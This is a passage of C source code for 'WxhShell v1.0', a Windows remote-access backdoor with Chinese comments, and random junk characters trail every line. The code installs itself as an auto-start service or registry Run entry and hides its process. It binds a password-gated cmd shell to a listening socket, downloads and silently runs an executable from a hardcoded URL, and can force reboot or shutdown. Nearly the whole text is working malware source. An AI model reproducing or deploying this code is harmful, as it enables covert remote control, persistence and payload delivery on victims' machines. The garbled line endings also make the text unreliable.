    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 'lRHdD}s  
    else { x>9EVa)  
    closesocket(wsh); +$= Wms-z  
    ExitThread(0); |p4OlUq  
    } 5WJkeG ba  
    break; oplA'Jgnv  
    } H6JMN1#t$  
  // 获取shell UlN|Oy,  
  case 's': { Nt^&YE7d:  
    CmdShell(wsh); n`KXJ?t  
    closesocket(wsh); FHcqu_;J  
    ExitThread(0); 'MQGR@*  
    break; ?ZV0   
  } &?`&X=Q  
  // 退出 T\s#-f[x  
  case 'x': { FuiW\=^  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w@ylRq  
    CloseIt(wsh); #DRt Mrfat  
    break; I2lZ>3X{  
    } ;,})VoC\!  
  // 离开 U?ic$J]N  
  case 'q': { }qdJ8K  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 4$2T zJE  
    closesocket(wsh); :(p rx   
    WSACleanup(); nW%=k!''  
    exit(1); $q$\GOQ 9  
    break; `LU,uz  
        } `6sQlCOnF  
  } *B<I><'G  
  } BrcXn@tl  
>T^v4A  
  // 提示信息 I^Jp )k*z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); +&zCmkVC7  
} 4KSN;G  
  } ?N*@o.  
:tG".z  
  return; h GXD u;{  
} "wC5hj]  
7 =*k@9  
// shell模块句柄 lFV|GJ  
int CmdShell(SOCKET sock) B[|/wHMsT}  
{ W1`ZS*12D  
STARTUPINFO si; /=(FM   
ZeroMemory(&si,sizeof(si)); #R~NR8( z  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; {V8 v  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; wz;IKdk[  
PROCESS_INFORMATION ProcessInfo; .|cQ0:B[  
char cmdline[]="cmd"; ^cd+W?  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); d&t |Y:,8  
  return 0; p.&FK'&[0  
} Pr/K5aJeg  
2{g~6 U.  
// 自身启动模式 N }Z"$4  
int StartFromService(void) <T<?7SE+  
{ eZT923tD  
typedef struct =p:D_b  
{ zR">'bM:  
  DWORD ExitStatus; BY6QJkI9x  
  DWORD PebBaseAddress; &`GQS|  
  DWORD AffinityMask; $D\SueZ  
  DWORD BasePriority; oj[Wzeg%  
  ULONG UniqueProcessId; &.;tdT7  
  ULONG InheritedFromUniqueProcessId; mRFcZ.7  
}   PROCESS_BASIC_INFORMATION; Sr/"'w;  
;)~loa1\  
PROCNTQSIP NtQueryInformationProcess; gVl%:Ra%  
PL[7|_%  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; kuqf(  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 2VA\{M  
:dLfM)8}  
  HANDLE             hProcess; E_MGejm@  
  PROCESS_BASIC_INFORMATION pbi; &%$r3ePwc  
_T7tq  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Y FL9Q<  
  if(NULL == hInst ) return 0; /MO|q  
rB~x]5TH  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 8S"vRR  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); S1.w^Ccy  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); wWQv]c%  
FcB]wz  
  if (!NtQueryInformationProcess) return 0; M8oI8\6[  
KW ]/u  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); t-)C0<  
  if(!hProcess) return 0; .;8T*  
GNlP]9wX  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; prV:Kq;O  
Es/\/vF7]D  
  CloseHandle(hProcess); VPx"l5\  
mFC0f?nr  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); I9-vV>:z  
if(hProcess==NULL) return 0; `L/kwVl  
N{U``LV  
HMODULE hMod; %6}S1fuA  
char procName[255]; QqA~y$'ut  
unsigned long cbNeeded; M.iR5Uh  
B{^o}:e  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); rLw3\>y  
j'Z}; 3y  
  CloseHandle(hProcess); NHG+l)y:  
g .ty#Z=:  
if(strstr(procName,"services")) return 1; // 以服务启动 9tvLj5~  
Z[[ou?c  
  return 0; // 注册表启动 :_E q(r  
} gs wp:82e2  
~$-Nl  
// 主模块 ~0aWjMc(>  
int StartWxhshell(LPSTR lpCmdLine) eY^;L_7}p  
{ mZDL=p  
  SOCKET wsl; bU9B2'%E  
BOOL val=TRUE; 28>PmH]7  
  int port=0; }<6xZy  
  struct sockaddr_in door; m&(yx| a4+  
l ps 6lnh  
  if(wscfg.ws_autoins) Install(); ij i<+oul  
69AgPAv<k  
port=atoi(lpCmdLine); GInU7y904  
s\A"B#9r  
if(port<=0) port=wscfg.ws_port; |y=;#A  
bkk1_X  
  WSADATA data; M il ![A1  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; `\LhEnIwu  
wN1%;~?7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Blv!%es  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 0?59o!@h  
  door.sin_family = AF_INET; cz<8Kb/XV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); foY=?mbL  
  door.sin_port = htons(port); /Qi;'h]  
C;7?TZ&xw  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { <8#Q5   
closesocket(wsl); s *$Re)}S  
return 1; 'ap<]mf2  
} Z'sAu#C  
Z@ AHe`A  
  if(listen(wsl,2) == INVALID_SOCKET) { ^3B)i=  
closesocket(wsl); F)P"UQ!\  
return 1; $U=E7JO  
} M, qX  
  Wxhshell(wsl); r~ gjn`W  
  WSACleanup(); tj:3R$a  
34S|[PX d  
return 0; h!# (.P  
V/w:^@5+p  
} 3exv k  
p0Cp\.  
// 以NT服务方式启动 F\&Sn1>k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv )  z.fh4p  
{ eeI aH >  
DWORD   status = 0; !O=?n<Ex"  
  DWORD   specificError = 0xfffffff; ;{1J{-EA  
s|iph~W!L  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A)9[.fhx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ,>"rcd  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 'u@_4wWp  
  serviceStatus.dwWin32ExitCode     = 0; K:PzR,nn  
  serviceStatus.dwServiceSpecificExitCode = 0; h{zE;!+)D  
  serviceStatus.dwCheckPoint       = 0; b=:$~N@Y  
  serviceStatus.dwWaitHint       = 0; 8#%Sq=/+M  
}1]E=!?)&  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); +$]eA'Bh@  
  if (hServiceStatusHandle==0) return; =+um:*a.  
Hya  ";'  
status = GetLastError(); DG_tmDT4  
  if (status!=NO_ERROR) 'qD5  
{ HI}$Z =C  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; P'o:Vhm_H  
    serviceStatus.dwCheckPoint       = 0; M%=V vE.I  
    serviceStatus.dwWaitHint       = 0; -rE_pV;  
    serviceStatus.dwWin32ExitCode     = status; rNzsc|a:  
    serviceStatus.dwServiceSpecificExitCode = specificError; OkSJob  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L #'N  
    return;  =[Lo9Sg  
  } ?O1:-vpZ  
npcB+6  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; JQVu&S  
  serviceStatus.dwCheckPoint       = 0; P3[+c4  
  serviceStatus.dwWaitHint       = 0; h&|wqna  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 5+U2@XV  
} %(4G[R[  
.0x+b-x  
// 处理NT服务事件,比如:启动、停止 ?3 :OPP`s  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <0[{Tn  
{ ^{<x*/nK  
switch(fdwControl) $YDZtS&h  
{ x<) %Gs}tb  
case SERVICE_CONTROL_STOP: J"w!Q\_  
  serviceStatus.dwWin32ExitCode = 0; %qA +z Pf  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; yQwj [  
  serviceStatus.dwCheckPoint   = 0; 5ug?'TOj'  
  serviceStatus.dwWaitHint     = 0; JL~QE-pvD  
  { 33d86H% ;  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); OHnHSb'?\  
  } oOk.Fq  
  return; %hK?\Pg3=E  
case SERVICE_CONTROL_PAUSE: G~ZDXQ>5CP  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; rI&GM |  
  break; Wpom{-  
case SERVICE_CONTROL_CONTINUE: l*[.  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; NLDmZra  
  break; RL>Nl ow  
case SERVICE_CONTROL_INTERROGATE: 2G"mm (   
  break; )>LQ{ X.  
}; 4QWDuLu  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); bwM>#@H  
} "Kk3#  
qE6:`f  
// 标准应用程序主函数 }~lF Rf  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) qs6yEuh#  
{ oS)0,p  
J'.:l}g!1  
// 获取操作系统版本 E0=-6j  
OsIsNt=GetOsVer(); `>RJ*_aKEI  
GetModuleFileName(NULL,ExeFile,MAX_PATH); p#.B Fy  
]?,47,[<  
  // 从命令行安装 \()\pp~4  
  if(strpbrk(lpCmdLine,"iI")) Install(); c1wM"  
!@-j!Ub  
  // 下载执行文件 pTZPOv#?Q  
if(wscfg.ws_downexe) { gcr,?rE<  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) (c(c MC'  
  WinExec(wscfg.ws_filenam,SW_HIDE); wP1dPl_j:0  
} io cr  
xkl'Y*  
if(!OsIsNt) { D_O%[u}  
// 如果时win9x,隐藏进程并且设置为注册表启动 Rs)tf|`/  
HideProc();  D@qq=M  
StartWxhshell(lpCmdLine); Js qze'BGY  
} +8[h&  
else :<%K6?'@^  
  if(StartFromService()) 1o o'\  
  // 以服务方式启动 Kv+E"2d  
  StartServiceCtrlDispatcher(DispatchTable); uf`o\wqU  
else  <_MQC  
  // 普通方式启动 pw:<a2.  
  StartWxhshell(lpCmdLine); 1*?IDYB  
^`YSl*:  
return 0; 2U>1-p&dn  
} ? $pGG  
jL 8&  
%kNkDI  
dT,X8 "  
=========================================== qfppJ8L  
n_v c}ame  
)rhKWg  
H` Q_gy5Z(  
,9  
eX $u  
" _f2(vWCW;J  
W aks*^|  
#include <stdio.h> ;R|5sCb/m  
#include <string.h> 'TezUBRAz  
#include <windows.h> E3sl"d;~  
#include <winsock2.h> ?v `0KF  
#include <winsvc.h> 62a{Ggs{  
#include <urlmon.h> -bcm"(<T'  
wVV'9pw}  
#pragma comment (lib, "Ws2_32.lib") yj"+!g  
#pragma comment (lib, "urlmon.lib") l}K {=%U>7  
jSpmE  
#define MAX_USER   100 // 最大客户端连接数 q9F(8-J  
#define BUF_SOCK   200 // sock buffer c?j/ H$  
#define KEY_BUFF   255 // 输入 buffer <.+hV4,3  
#k5Nnv#(J  
#define REBOOT     0   // 重启 ]KLj Qpd  
#define SHUTDOWN   1   // 关机 SU Hyg/|F  
,7z.%g3+z  
#define DEF_PORT   5000 // 监听端口 ?neXs-'-p  
^JJ*pT:  
#define REG_LEN     16   // 注册表键长度 A0 x*feK?  
#define SVC_LEN     80   // NT服务名长度 Gpo(Zf?  
DMsxHAE1  
// 从dll定义API d1vC-n N  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 34&n { xv  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); [f&ja[m q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); DXsp 2  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); gb( a`  
Ihw^g <X  
// wxhshell配置信息 (Lp<T!"  
struct WSCFG { %F]4)XeW-+  
  int ws_port;         // 监听端口 5@F1E8T  
  char ws_passstr[REG_LEN]; // 口令 ezgP\ct  
  int ws_autoins;       // 安装标记, 1=yes 0=no OZB(4{vnyC  
  char ws_regname[REG_LEN]; // 注册表键名 G?#f@N0.5p  
  char ws_svcname[REG_LEN]; // 服务名 ^fQ ]>/u  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 "+~La{ POc  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iQ~;to;Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ~K&ko8  
int ws_downexe;       // 下载执行标记, 1=yes 0=no H?m9HBDpn  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7%b?[}y4  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #kR8v[Z  
iLIH |P%  
}; Oc}4`?oy<O  
]O,;t>  
// default Wxhshell configuration /2Y t\=S=  
struct WSCFG wscfg={DEF_PORT, " ;8H;U`  
    "xuhuanlingzhe", 2g$PEwXe  
    1, >ZTRwy`_(  
    "Wxhshell", 2/<VoK0b  
    "Wxhshell", 5 <X.1 T1  
            "WxhShell Service", AvfSR p  
    "Wrsky Windows CmdShell Service", 'avzESe~'  
    "Please Input Your Password: ", ^_0zO$z,  
  1, Oe:+%p  
  "http://www.wrsky.com/wxhshell.exe", P+tRxpz  
  "Wxhshell.exe" }1kT0*'L  
    }; $@QF<?i~  
*~YU0o  
// 消息定义模块 i|?EgGFG  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; !YYI{BJ7:N  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Ro\ U T64  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j> Ce06G  
char *msg_ws_ext="\n\rExit."; >r J9^rS  
char *msg_ws_end="\n\rQuit."; #e|G!'wdj  
char *msg_ws_boot="\n\rReboot..."; >1q W*  
char *msg_ws_poff="\n\rShutdown..."; }#]2u| G  
char *msg_ws_down="\n\rSave to "; MKMWHGN  
YflM*F`  
char *msg_ws_err="\n\rErr!"; n]{sBI3  
char *msg_ws_ok="\n\rOK!"; YGFE(t;lPU  
cih[A2lp  
char ExeFile[MAX_PATH]; L+VqTt  
int nUser = 0; `>'%!E9G  
HANDLE handles[MAX_USER]; h \dq]yOl  
int OsIsNt; c~ x  
.{r0Szm.  
SERVICE_STATUS       serviceStatus; Z'=:Bo{  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; E "9`  
4k%y*L  
// 函数声明 %QYW0lE  
int Install(void); IP<]a5  
int Uninstall(void); W@S>#3,  
int DownloadFile(char *sURL, SOCKET wsh); xb8S)zO]Q  
int Boot(int flag); .l1uqCuB  
void HideProc(void); SlK 6KnX  
int GetOsVer(void); FLf< gz  
int Wxhshell(SOCKET wsl); TQ hu$z<  
void TalkWithClient(void *cs); y(81| c#  
int CmdShell(SOCKET sock); LKC^Y) 6o  
int StartFromService(void); ^/c v8M=  
int StartWxhshell(LPSTR lpCmdLine); Hst]}g' .  
k9Pwf"m|](  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ZH<: g6  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); KAkD" (!  
 Q6qIx=c4  
// 数据结构和表定义 kxvzAKz~  
SERVICE_TABLE_ENTRY DispatchTable[] = IZ2(F,{o  
{ gdr"34%vbM  
{wscfg.ws_svcname, NTServiceMain}, -/)>DOgUq  
{NULL, NULL} }Zuk}Og9+  
}; `|rF^~6(dR  
o*5iHa(Qm  
// 自我安装 r3OR7f[  
int Install(void) l4O&*,}l##  
{ E^K<b7  
  char svExeFile[MAX_PATH]; Po B-:G6  
  HKEY key; 2wX4e0cOI4  
  strcpy(svExeFile,ExeFile); ctk~}( 1#  
"O (N=|b  
// 如果是win9x系统,修改注册表设为自启动 ;URvZ! {/Z  
if(!OsIsNt) { s^\ *jZ6  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Acix`-<  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #OMFv.  
  RegCloseKey(key); Sdo mG?;kV  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ahoXQ8c:\}  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); R"2wop  
  RegCloseKey(key); ojva~mnFf  
  return 0; :@~W$f\y  
    } *r90IS}A$2  
  } &2P=74\=  
} mxPzB#t4  
else {  |43dyJW  
ybY[2g2QJ  
// 如果是NT以上系统,安装为系统服务 ye^*Z>|  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); % S vfY{  
if (schSCManager!=0) ATG;*nIP  
{ P Y&(ObC  
  SC_HANDLE schService = CreateService nDU=B.?E{O  
  ( je#OV,uHM  
  schSCManager, m%s&$  
  wscfg.ws_svcname, T1*%]6&V|  
  wscfg.ws_svcdisp, E;MelK<8(  
  SERVICE_ALL_ACCESS, ;Pw\p^wz  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , }N0$DqP  
  SERVICE_AUTO_START, \?_M_5Nb  
  SERVICE_ERROR_NORMAL, @,^c?v  
  svExeFile, zg>)Lq|VsT  
  NULL, H_n Ilku  
  NULL, UKpc3Jo:~  
  NULL, tv 7"4$T  
  NULL, q).[" fSV  
  NULL 5._1G| 3  
  ); GoUsB|-\  
  if (schService!=0) kMx^L;:n  
  { J\l'nqS"  
  CloseServiceHandle(schService); mMOjV_  
  CloseServiceHandle(schSCManager); `i5\(cdl  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); Ys@OgdS@:  
  strcat(svExeFile,wscfg.ws_svcname); g-LMct8$  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { I83 _x|$FZ  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); IQ\5!e  
  RegCloseKey(key); /g)(  
  return 0; e.VQ!)>  
    } 8= "01  
  } 5q,ZH6\ {  
  CloseServiceHandle(schSCManager); }h+{>{2j  
} aoHAB<.C  
} 91\Sb:>  
wx*03(|j;  
return 1; $W;f9k@C!  
} /T<))@$  
],-(YPiAD  
// 自我卸载 3lsfT-|Wt&  
int Uninstall(void) ~J![Nx/  
{ Ws/\ lD  
  HKEY key; "t)$4gERK  
eq(1'?7]`G  
if(!OsIsNt) { ]4onY >  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {|B 2$1':  
  RegDeleteValue(key,wscfg.ws_regname); nrV!<nNBk  
  RegCloseKey(key); [NoOA  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { . e_VPKF|  
  RegDeleteValue(key,wscfg.ws_regname); cV4]Y(9  
  RegCloseKey(key); : "^/?Sd  
  return 0; 37 b6w6{D  
  } u<JkP <"S  
} T STkMlCG  
} Bn{i+8I  
else { &LYH >  
@|:yK|6O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); wvmcD%   
if (schSCManager!=0) 0TaN#  
{ n s#v?D9NF  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); zF@[S  
  if (schService!=0) 9@8'*a{`m  
  { &$heW,  
  if(DeleteService(schService)!=0) { `=lo.c  
  CloseServiceHandle(schService); L{0\M`B-  
  CloseServiceHandle(schSCManager); uD\rmO{  
  return 0; vNHvuw K  
  } BvS!P8  
  CloseServiceHandle(schService); n_(f"U v  
  } ojyP.R  
  CloseServiceHandle(schSCManager); g:s|D hE[  
} i&q_h>ZT g  
} y&V%xE/  
d;nk>6<|  
return 1; ITy/h]0  
} ZnBGNr  
"E@A~<RKP  
// 从指定url下载文件 DzIV5FG  
int DownloadFile(char *sURL, SOCKET wsh) ; xL8W  
{ \opcn\vW  
  HRESULT hr; ;ojJXH~$}  
char seps[]= "/"; 1vYa&!  
char *token; {55f{5y3 c  
char *file; ehLn+tg  
char myURL[MAX_PATH]; XQ2 YUe]DJ  
char myFILE[MAX_PATH]; 7m%[$X`  
@; tM R|p  
strcpy(myURL,sURL); T7|=`~  
  token=strtok(myURL,seps);  @{Dfro  
  while(token!=NULL) SkmKf~v  
  { R8 LHwRQ  
    file=token; 5j v*C]z  
  token=strtok(NULL,seps); 7uf5w0]  
  } c D .;  
\t%iUZ$  
GetCurrentDirectory(MAX_PATH,myFILE); SW5n?Qj3-  
strcat(myFILE, "\\"); w$j6!z  
strcat(myFILE, file); 5"bg 8hL  
  send(wsh,myFILE,strlen(myFILE),0); /Mj|Px%  
send(wsh,"...",3,0); fi%lN_Ev?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 92~$Qa\S!  
  if(hr==S_OK) ^!$=(jh.  
return 0; t"OP*  
else *+(eH#_2/  
return 1; NTSIClm}U  
op3a*KG  
} {kvxz  
JW"`i   
// 系统电源模块 1GPBqF  
int Boot(int flag) 93 =?^  
{ >h.HW  
  HANDLE hToken; , eSpt#M  
  TOKEN_PRIVILEGES tkp; Pa"Kk9!o36  
'j!n   
  if(OsIsNt) { {XV 'C @B  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); M!X^2  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); &Lbwx&!0b  
    tkp.PrivilegeCount = 1; &8I*N6p:%/  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; -Ir>pY\!  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 1$^r@rP  
if(flag==REBOOT) { #99=wn  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) wk'&n^_br  
  return 0; eU.C<Tv:8  
} 8idIJm%y  
else { A`"?~_pHC  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) Z$%!H7w  
  return 0; |:,`dQfw  
} ~ _IQ:]k  
  } 1 |/ |Lq%w  
  else { TX7dwmt) N  
if(flag==REBOOT) { h iK}&  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) EVE"F'Ww,_  
  return 0; I!Mkss xc  
} t_Rj1U  
else { 0uIBaW3s  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) p*Yx1er1  
  return 0; SR_ -wD  
} ?b93! Q1  
} KHGUR(\Rd6  
IkxoW:L  
return 1; 0k4XVd+Nv  
} ej1WkaR8  
_;:_ !`  
// win9x进程隐藏模块 n xR\tBv  
void HideProc(void) vZs~=nfi#|  
{ 3+q-yP#X  
&}K%F)S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); D-O{/  
  if ( hKernel != NULL ) |;^$IZSsz  
  { MXjN ./  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); THB[(3q  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); A PrrUo  
    FreeLibrary(hKernel); l.Z+.<@  
  } y,@yaM}-/K  
}lCQ+s!  
return; @ScC32X  
} [fELf(;(  
JbMp /  
// 获取操作系统版本 *P&lAyt6  
int GetOsVer(void) Dtyw]|L\H  
{ f hNJB0  
  OSVERSIONINFO winfo; jj]|}G  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :LC3>x`:  
  GetVersionEx(&winfo); 4 Lz[bI  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) tV4wkS=R|  
  return 1; sP~xe(  
  else %?F$3YN,  
  return 0; _lRIS_^;eE  
} `-K[$V  
fZ^ad1o  
// 客户端句柄模块 `.]oH1\  
int Wxhshell(SOCKET wsl) {Z Ld_VGW  
{ n36iY'<)G  
  SOCKET wsh; h##U=`x3  
  struct sockaddr_in client; {~G~=sC$  
  DWORD myID; D=Yr/qc?  
jE8}Ho_#)  
  while(nUser<MAX_USER) c `.BN(  
{ 6\ .LG4@LO  
  int nSize=sizeof(client); 2Uu!_n}tNF  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Der'45]*^  
  if(wsh==INVALID_SOCKET) return 1; |$+/IxDP  
JxEz1~WK &  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Dd-a*6|x  
if(handles[nUser]==0) NgF"1E  
  closesocket(wsh); +rhBC V  
else g`tV^b")  
  nUser++; .YP&E1lNi  
  } e-1G\}E  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1s(i\&B  
NW*#./WdF8  
  return 0; 2]FRIy d  
} )HvB ceN  
/}iBrMD{[  
// 关闭 socket E}<i?;  
void CloseIt(SOCKET wsh) "" _B3'  
{ \+0l#t$  
closesocket(wsh); zJ:%iL@  
nUser--; {wDe#c{_  
ExitThread(0); A>HCX 4i  
} m`]d`%Ex  
N[v=;&  
// 客户端请求句柄 Kb1@+  
void TalkWithClient(void *cs) 5w+&plIJ  
{ :_=YH+bZ  
H<P d&  
  SOCKET wsh=(SOCKET)cs; :uC9 #H"b  
  char pwd[SVC_LEN]; (Jk[%_b>_  
  char cmd[KEY_BUFF]; qD5)AdCGO  
char chr[1]; oMF[<Xf  
int i,j; ;VPYWss  
e|.a%,Dcy  
  while (nUser < MAX_USER) { -VZ? c  
uSNlI78D  
if(wscfg.ws_passstr) { WI\h@qSB  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); jN sM&s,  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); $Q56~AP  
  //ZeroMemory(pwd,KEY_BUFF); 1h&_Q}DM  
      i=0; ?xzDz  
  while(i<SVC_LEN) { p~Mw^SN'  
cu"ge]},  
  // 设置超时 AF"XsEt.e  
  fd_set FdRead; .\|}5J9W  
  struct timeval TimeOut; Z(o]8*;A i  
  FD_ZERO(&FdRead); !FbW3p f  
  FD_SET(wsh,&FdRead); L7$1rO<  
  TimeOut.tv_sec=8; p/Lk'h~  
  TimeOut.tv_usec=0; $R/@%U)-o  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4d $T6b  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n,%/cUl  
_SQ0`=+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hbTJXP~~?  
  pwd=chr[0]; 87:V-*8  
  if(chr[0]==0xd || chr[0]==0xa) { Ip;;@o&D  
  pwd=0; ^1z)\p1  
  break; t3;QF  
  } QhmOO-Z?  
  i++; H@ .1cO  
    } fZrB!\Q  
L ^{C4}x=  
  // 如果是非法用户,关闭 socket 2)jf~!o)Z  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); .7MLgC;  
} H.[t&VO  
hquN+eIDH  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ,PZ[CX;H@  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .oxeo 0@~  
>&uR=Yd  
while(1) { 1_G5uHO  
>7nOR  
  ZeroMemory(cmd,KEY_BUFF); A<[X@o}92  
qc@v"pIz'S  
      // 自动支持客户端 telnet标准   uZ(,7>0  
  j=0; A=pyaU`aE  
  while(j<KEY_BUFF) { 1F94e)M)"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); xX2/uxi8  
  cmd[j]=chr[0]; "!_,N@\t  
  if(chr[0]==0xa || chr[0]==0xd) { @!2vS@f  
  cmd[j]=0; (c1Kg   
  break;  OiMr,  
  } :A]CD (  
  j++; 8WMGuv  
    } 3d*wZ9qz  
V?o%0V  
  // 下载文件 pJ H@v &a  
  if(strstr(cmd,"http://")) { nSeb?|$D6  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ;>h:VnV(>(  
  if(DownloadFile(cmd,wsh)) h&m4"HBL_  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); #EX NSr  
  else ) >8k8E  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); }X^CH2,R  
  } g%T`6dvT  
  else { <<[\ Rv  
[eO6 H2@=z  
    switch(cmd[0]) { C#D8 E.W  
  NM&R\GI  
  // 帮助 -x2&IJ!  
